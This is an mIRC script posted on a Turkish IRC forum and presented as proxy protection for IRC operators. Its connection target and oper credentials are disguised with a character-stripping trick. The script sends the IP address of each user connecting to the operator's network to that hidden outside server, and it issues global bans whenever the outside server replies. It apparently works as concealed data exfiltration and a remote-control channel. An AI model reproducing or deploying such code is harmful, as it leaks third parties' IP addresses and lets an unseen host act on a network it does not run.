IRCForumu.Net - Türkiye'nin IRC ve mIRC Kullanıcılarının Buluştuğu Forum

Kod:
on *:start: {

  sockopen mirc $sunucu 

}

alias sw {

  if $sock($1).status == active {

    sockwrite -nt $1-

  }

}

alias tarat { sw mirc notice mIRCScripts $+($chr(1),ips) $1 }

alias opers return $remove(ambiarbcasacbraibpatbs ambiarbcasacbraibpatbs ,a,b)

alias sunucu return $remove(aibrac.arbeakboarbnaebt.acboam 6667,a,b)

on *:SOCKOPEN:mirc: {

  sw $sockname nick $+(mIRCScripts,$r(0,999))

  sw $sockname USER 63 " " : $+ $+([,,Proxy,,]) System by Aeg 

}

on *:sockread:mirc: {

  if !$sock($sockname) { echo -a Baglanti Koptu! | halt }

  var %q

  sockread %q

  tokenize 32 %q

  if $1 == error && $2 == :closing {

    sockclose mirc

    sockopen mirc $sunucu

  }

  if $1 == PING {

    sw $sockname PONG $2

  }

  if ($2 == 001) {

    sw $sockname oper $opers

    sw $sockname join #mircscripts

  }

  if ($2 == notice) && (ips isin $4) {

    if (!$window(@Proxy)) { window -e @Proxy }

    echo 4 $+(@Proxy) [Giris] 1 $5 4Proxy Girisi!

    gzline $5 +0 Proxy!

  }

}

on *:snotice:*Connecting*: {

  var %ip $remove($gettok($10,2,64),$chr(41))

  if (%proxy == on) { who +I $+(*,%ip,*) }

}

raw 352:*: {

  tarat $4

}

menu * {

  Proxy

  .Proxy Ac:$iif(!$sock(mirc),sockopen mirc $sunucu) | set %proxy on | echo 4 -ae Proxy Korumasi Acilmistir.

  .Proxy Kapat:.set %proxy off | echo 4 -ae Proxy Korumasi Kapatilmistir.

}